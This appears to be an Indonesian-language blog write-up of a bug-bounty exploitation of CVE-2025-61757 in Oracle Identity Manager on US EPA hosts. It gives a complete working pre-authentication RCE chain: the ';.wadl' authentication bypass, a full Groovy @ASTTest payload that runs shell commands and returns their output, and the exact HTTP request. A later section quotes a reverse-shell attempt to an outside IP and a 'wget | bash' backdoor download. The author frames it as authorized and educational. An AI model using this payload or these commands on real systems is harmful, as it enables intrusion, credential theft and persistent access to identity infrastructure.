Post cover image

October 28, 2026

Catatan tentang Penetrasi Keamanan Sistem Oracle Identity Manager di U.S.

Bagian 1: Anatomi Celah — Dua Kelemahan yang Dirangkai

By Dennisius Reki

7 min read

Catatan tentang Penetrasi Keamanan Sistem Oracle Identity Manager di U.S. Environmental Protection Agency | US EPA

Bagian 1: Anatomi Celah — Dua Kelemahan yang Dirangkai

1.1 Kelemahan Pertama: Bypass Autentikasi via Matrix Parameter

Latar belakang sistem: Oracle Identity Manager (OIM) dilindungi oleh komponen yang disebut OWSM (Oracle Web Services Manager). Setiap permintaan yang masuk akan diperiksa oleh SecurityFilter, yaitu sebuah kelas Java yang dikenal dengan nama lengkap oracle.wsm.agent.handler.servlet.SecurityFilter. Berikut cara kerja filter ini: Filter ini memeriksa URI permintaan berdasarkan pola regex:

WADL_PATTERN = Pattern.compile("\\.[wW][aA][dD][lL](.)*\\z");

Regex ini berarti: "apakah URI diakhiri dengan .wadl (tanpa memperhatikan huruf besar atau kecil), diikuti oleh karakter apa pun?" Logika yang keliru: Jika URI cocok dengan pola ini, filter menganggap permintaan tersebut sebagai permintaan file WADL (Web Application Description Language) — yaitu file deskripsi API yang seharusnya bersifat publik. Akibatnya, filter ini membiarkan permintaan lolos tanpa melakukan pemeriksaan autentikasi sama sekali. Trik parameter matrix: Dalam spesifikasi URI (RFC 3986), tanda titik koma (;) berfungsi sebagai parameter matrix — parameter yang melekat pada segmen path. Contohnya:

None 
/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl                                                                        ^^^^^^
                                                                        matrix param

Yang terjadi:

  1. SecurityFilter membaca URI lengkap, melihat akhiran ;.wadl → cocok dengan regex → loloskan tanpa auth ✅
  2. JAX-RS runtime (mesin routing di belakang) mem-parse URI, membuang matrix parameter ;.wadl, dan mengarahkan request ke resource asli: groovyscriptstatus ✅

Hasilnya adalah permintaan yang berhasil mencapai endpoint yang seharusnya dilindungi, tanpa melalui proses autentikasi sama sekali. Ini adalah inti dari CWE-306 (Missing Authentication for Critical Function).

Perbandingan request:

RequestHasilGET /.../groovyscriptstatusHTTP 401 (dilindungi)POST /.../groovyscriptstatus;.wadlHTTP 200 (lolos!)

1.2 Kelemahan Kedua: Eksekusi Kode Saat Kompilasi Groovy

Fungsi legit dari endpoint: Endpoint groovyscriptstatus sebenarnya adalah fitur sah OIM untuk memvalidasi sintaks skrip Groovy yang dikirim pengguna. Endpoint ini meng-compile skrip untuk mengecek apakah ada error sintaks, lalu mengembalikan respons:

text

Script Compilation Successful

Perhatikan: skrip tidak dijalankan (tidak dieksekusi), hanya dikompilasi.

Celahnya — anotasi @ASTTest: Groovy memiliki anotasi khusus bernama @ASTTest. Anotasi ini dirancang untuk pengujian — ia menerima sebuah closure (blok kode) yang akan dieksekusi selama fase kompilasi, bukan saat runtime.

groovy

@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
    // KODE DI SINI DIEKSEKUSI SAAT KOMPILASI
})

Fase SEMANTIC_ANALYSIS adalah salah satu tahap awal kompilasi. Artinya:

Meskipun skrip "hanya dicek sintaksnya", kode di dalam @ASTTest tetap berjalan sebagai efek samping kompilasi.

Inilah primitive RCE (Remote Code Execution) yang dimanfaatkan.

Bagian 2: Anatomi Payload — Bedah Kode Per Bagian

Berikut payload lengkap yang digunakan, saya pecah per bagian:

groovy

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase
class Exploit {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            // [1] Dapatkan thread yang sedang menangani request
            def thread = Thread.currentThread()
            def execThread = Class.forName("weblogic.work.ExecuteThread").cast(thread)
            // [2] Naik ke objek Work (unit kerja WebLogic)
            def work = execThread.getClass().getMethod("getCurrentWork").invoke(execThread)
            // [3] Ambil connectionHandler dari Work via reflection
            def handlerField = work.getClass().getDeclaredField("connectionHandler")
            handlerField.setAccessible(true)
            def handler = handlerField.get(work)
            // [4] Dapatkan HttpServletResponse dari handler
            def res = handler.getClass().getMethod("getServletResponse").invoke(handler)
            // [5] Dapatkan writer untuk menulis ke response HTTP
            def out = res.getWriter()
            // [6] Jalankan perintah OS
            def process = new ProcessBuilder("/bin/sh", "-c", "COMMAND")
                              .redirectErrorStream(true).start()
            // [7] Baca output proses, tulis ke response
            def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))
            String line
            while ((line = reader.readLine()) != null) {
                out.println(line)
            }
            reader.close()
            out.flush()
            res.flushBuffer()
        } catch (Throwable t) {
            try { t.printStackTrace() } catch (Throwable ignored) {}
        }
    })
    def x
}

Penjelasan tiap langkah:

[1] Mengambil thread saat ini

groovy

def thread = Thread.currentThread()
def execThread = Class.forName("weblogic.work.ExecuteThread").cast(thread)

Saat kompilasi berjalan, kode dieksekusi di dalam thread yang menangani request HTTP. Di WebLogic, thread ini bertipe weblogic.work.ExecuteThread. Kita "menangkap"-nya untuk mengakses konteks request.

[2] Mendapatkan objek Work

groovy

def work = execThread.getClass().getMethod("getCurrentWork").invoke(execThread)

ExecuteThread menyimpan referensi ke Work — objek yang merepresentasikan satu unit pekerjaan (dalam hal ini, request HTTP yang sedang diproses).

[3] Mengambil connectionHandler via reflection

groovy

def handlerField = work.getClass().getDeclaredField("connectionHandler")
handlerField.setAccessible(true)
def handler = handlerField.get(work)

Field connectionHandler bersifat private, jadi kita paksa aksesnya dengan setAccessible(true). Handler ini adalah jembatan ke objek response HTTP.

[4] Mendapatkan HttpServletResponse

groovy

def res = handler.getClass().getMethod("getServletResponse").invoke(handler)

Sekarang kita punya akses ke objek response — hal yang sama yang dipakai aplikasi web untuk mengirim balasan ke browser.

[5] Mendapatkan writer

groovy

def out = res.getWriter()

getWriter() memberi kita aliran output ke response HTTP. Apa pun yang kita tulis ke sini akan muncul di body respons yang diterima penyerang.

[6] Menjalankan perintah OS

groovy

def process = new ProcessBuilder("/bin/sh", "-c", "COMMAND")
                  .redirectErrorStream(true).start()

Ini inti RCE: ProcessBuilder menjalankan shell (/bin/sh) dengan perintah yang kita tentukan. redirectErrorStream(true) menggabungkan stderr ke stdout agar pesan error juga tertangkap.

[7] Membaca output dan mengirim ke response

groovy

def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))
while ((line = reader.readLine()) != null) {
    out.println(line)
}

Output perintah dibaca baris per baris dan ditulis ke response. Hasilnya: penyerang melihat output perintah langsung di respons HTTP — ini disebut non-blind RCE.

Mengapa class Exploit { ... def x }?

Kelas dan field x hanya "kendaraan" agar anotasi @ASTTest bisa menempel pada sesuatu. Field x tidak pernah dipakai — ia hanya formalitas sintaks Groovy.

Bagian 3: Alur Eksploitasi End-to-End

Berikut urutan langkah yang dilakukan peneliti, dengan penjelasan tiap tahap:

None 
┌─────────────────────────────────────────────────────────────┐
│ LANGKAH 1 — Baseline: Konfirmasi endpoint dilindungi         │
├─────────────────────────────────────────────────────────────┤
│ Request : GET /.../groovyscriptstatus                       │
│ Response: HTTP 401                                          │
│            www-authenticate: Basic realm="owsm"             │
│ Arti    : endpoint memang di belakang OWSM auth ✅          │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│ LANGKAH 2 — Uji bypass autentikasi                          │
├─────────────────────────────────────────────────────────────┤
│ Request : POST /.../groovyscriptstatus;.wadl                │
│ Body    : (kosong), Content-Type: application/json          │
│ Response: HTTP 200                                          │
│           "Script Compilation Successful"                   │
│ Arti    : autentikasi terlewati ✅                          │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│ LANGKAH 3 — Injeksi payload RCE                             │
├─────────────────────────────────────────────────────────────┤
│ Request : POST /.../groovyscriptstatus;.wadl                │
│ Body    : payload Groovy dengan @ASTTest                    │
│           → perintah: cat /etc/passwd                       │
│ Response: HTTP 200 + 50 baris isi /etc/passwd               │
│ Arti    : RCE non-blind terkonfirmasi ✅                    │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│ LANGKAH 4 — Fingerprinting sistem                           │
├─────────────────────────────────────────────────────────────┤
│ Perintah: id; hostname; uname -a; cat /etc/redhat-release   │
│ Hasil   : uid=4622(oracle) gid=4548(dba)                    │
│           wamappdev1.rtpnc.epa.gov                          │
│           RHEL 9.8, kernel 5.14.0-687                       │
│ Arti    : konteks hak akses tinggi terkonfirmasi ✅         │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│ LANGKAH 5 — Bukti arbitrary file write                      │
├─────────────────────────────────────────────────────────────┤
│ Perintah: echo "..." > /usr/opt/oracle/.../oim_domain/      │
│           dennis.txt                                        │
│ Response: isi file + bukti ls -la                           │
│ Arti    : tulis ke direktori domain WebLogic berhasil ✅    │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│ LANGKAH 6 — Konfirmasi working directory                    │
├─────────────────────────────────────────────────────────────┤
│ Perintah: pwd                                               │
│ Hasil   : /usr/opt/oracle/product/OIM_MW_HOME/user_         │
│           projects/domains/oim_domain                       │
│ Arti    : proses berjalan di direktori domain OIM ✅        │
└─────────────────────────────────────────────────────────────┘

Bagian 4: Detail Penting pada Request HTTP

4.1 Header yang Wajib

text

POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: empdev2.epa.gov
Content-Type: application/json
Content-Length: 1283
Connection: close

HeaderFungsiCatatanHostMenunjuk targetDomain yang dieksploitasiContent-Type: application/jsonMemberi tahu tipe bodyWajib — tipe lain (mis. text/plain) menghasilkan HTTP 415 Unsupported Media TypeContent-LengthPanjang bodyDihitung otomatis oleh toolConnection: closeTutup koneksi setelah responsOpsional, untuk kenyamananTidak ada header auth—Inilah buktinya: tanpa Authorization apa pun

4.2 Mengapa Content-Type Harus application/json?

Endpoint groovyscriptstatus dideklarasikan dengan @Consumes("application/json") dalam kode OIM. Jika Content-Type tidak sesuai, JAX-RS akan menolak permintaan sebelum bisa memproses body-nya, yang menyebabkan munculnya HTTP 415. Jadi, application/json ini bisa dibilang adalah "kunci" agar body bisa sampai ke compiler Groovy.

4.3 Mengapa ;.wadl Ditaruh Tepat Setelah Nama Resource?

Posisi ;.wadl harus menempel pada segmen path terakhir (setelah groovyscriptstatus, bukan setelah /applications). Alasannya:

  • SecurityFilter memeriksa akhiran URI keseluruhan — ;.wadl di mana pun di akhir akan cocok.
  • Tapi JAX-RS mem-parse matrix parameter per segmen. Menaruhnya setelah nama resource memastikan routing tetap menemukan resource groovyscriptstatus.

Jika ditaruh di tempat lain (mis. /applications;.wadl/groovyscriptstatus), routing bisa gagal karena segmen applications menjadi tidak valid.

Bagian 5: Mengapa Teknik Ini Sangat Efektif?

5.1 Non-Blind RCE — Output Langsung Terlihat

Karena payload menulis output langsung ke HttpServletResponse, penyerang dapat dengan mudah melihat hasil dari perintah yang dieksekusi dalam respons HTTP. Ini berarti mereka tidak perlu lagi menggunakan saluran terpisah seperti DNS exfiltration atau reverse shell. Dengan cara ini, proses eksploitasi menjadi lebih cepat, andal, dan sangat mudah untuk diotomasi.

5.2 Pre-Authentication — Tanpa Kredensial

Tidak perlu membuat akun, tidak perlu token, dan tidak perlu sesi. Cukup dengan akses jaringan ke host. Inilah alasan mengapa CVSS-nya mencapai 9.8 (hampir maksimal) — AV:N/AC:L/PR:N/UI:N semuanya berada di level terburuk.

5.3 Eksekusi Saat Kompilasi — Sulit Dideteksi

Karena kode dieksekusi saat fase kompilasi (bukan saat aplikasi berjalan), banyak mekanisme pemantauan runtime, seperti agen yang mengawasi eksekusi metode aplikasi, bisa terlewatkan. Eksekusi ini berlangsung di dalam proses kompilasi Groovy — sebuah jalur yang jarang mendapatkan perhatian.

5.4 Hak Akses Tinggi — Efek Domino

Proses berjalan sebagai oracle yang anggota dba dan oinstall. Artinya penyerang bisa:

  • Mengakses database Oracle
  • Membaca keystore dan kredensial OIM
  • Mengubah konfigurasi domain WebLogic
  • Berpotensi bergerak lateral ke sistem terhubung

Bagian 6: Mengapa Pertahanan Jaringan EPA Tetap Efektif

Meski celahnya kritis, beberapa kontrol bertahan berhasil menggagalkan upaya lanjutan:

6.1 Egress Filtering — Reverse Shell Gagal

text

Percobaan: perl → connect ke 103.160.213.64:1337 → sh -i
Hasil    : TCP PROBE_CLOSED — port 1337 difilter

Jaringan EPA memblokir koneksi keluar ke port non-standar. Proses Perl sempat berjalan, tapi tidak ada koneksi balik yang terbentuk. Ini mencegah penyerang membangun "pintu belakang" interaktif.

6.2 DNS Sinkhole — Backdoor gsocket Gagal

text

Percobaan: wget -O- https://gsocket.io/y | bash
Hasil    : gsocket.io resolve ke 0.0.0.0 / :: (sinkhole)

Infrastruktur domain untuk terowongan rahasia (covert tunnel) diarahkan ke alamat yang tidak terpakai. Penyerang tidak berhasil mengunduh binary backdoor. Setelah percobaan, verifikasi menunjukkan bahwa tidak ada proses, binary, atau entri cron yang tersisa.

6.3 Pelajaran Penting

Celah aplikasi (RCE) dan pertahanan jaringan itu sebenarnya adalah dua lapisan yang berbeda. Ketika RCE berhasil menembus aplikasi, egress filtering dan DNS sinkhole berperan penting dalam membatasi dampak yang bisa ditimbulkan. Ini menegaskan betapa pentingnya pendekatan defense in depth — meskipun satu lapisan bisa jebol, lapisan lainnya tetap berfungsi untuk melindungi.

Bagian 7: Ringkasan Alur Serangan dalam Satu Diagram

text

PENYERANG (tanpa kredensial)
          │
          │  POST /.../groovyscriptstatus;.wadl
          │  Content-Type: application/json
          │  Body: payload @ASTTest
          ▼
   ┌──────────────────────────────────┐
   │  OWSM SecurityFilter             │
   │  Cek regex \.wadl$ → COCOK       │
   │  → LOLOSKAN tanpa auth ✅        │
   └──────────────────────────────────┘
          │
          ▼
   ┌──────────────────────────────────┐
   │  JAX-RS Router                   │
   │  Buang matrix param ;.wadl       │
   │  → Route ke groovyscriptstatus   │
   └──────────────────────────────────┘
          │
          ▼
   ┌──────────────────────────────────┐
   │  Groovy Compiler                 │
   │  Compile script → @ASTTest       │
   │  dieksekusi di fase SEMANTIC ✅  │
   └──────────────────────────────────┘
          │
          ▼
   ┌──────────────────────────────────┐
   │  ProcessBuilder → /bin/sh -c ... │
   │  Output → HttpServletResponse    │
   └──────────────────────────────────┘
          │
          ▼
   PENYERANG MENERIMA OUTPUT PERINTAH
   (non-blind RCE, pre-auth)

Semua teknik di atas dijelaskan untuk tujuan edukasi dan pertahanan. Eksploitasi dalam laporan ini dilakukan dalam kerangka authorized security assessment (pengujian keamanan yang sah) melalui program Bugcrowd EPA, dengan batasan:

  • Hanya eksekusi perintah baca-saja (cat, id, uname, pwd)
  • Penulisan file terkendali (dennis.txt) sebagai bukti konsep, dengan catatan penghapusan
  • Tidak ada pencurian data, tindakan destruktif, atau persistensi
  • Upaya reverse shell dan backdoor hanya untuk memvalidasi efektivitas kontrol pertahanan, bukan untuk benar-benar memasang akses

Menerapkan teknik ini pada sistem tanpa izin tertulis adalah tindakan ilegal di hampir semua yurisdiksi, termasuk Indonesia (UU ITE) dan Amerika Serikat (CFAA).

Ringkasan Satu Paragraf

CVE-2025–61757 adalah kombinasi dari dua kelemahan: (1) bypass autentikasi yang terjadi karena SecurityFilter OWSM salah mengidentifikasi URI yang diakhiri dengan .wadl sebagai sumber daya publik, dan (2) eksekusi kode saat kompilasi yang disebabkan oleh anotasi @ASTTest Groovy yang menjalankan closure-nya pada fase SEMANTIC_ANALYSIS, bukan saat runtime. Payload ini memanfaatkan reflection untuk menangkap thread WebLogic, mengambil HttpServletResponse, menjalankan perintah melalui ProcessBuilder, dan menulis output langsung ke respons HTTP — yang menghasilkan RCE non-blind pra-autentikasi dengan hak akses oracle:dba.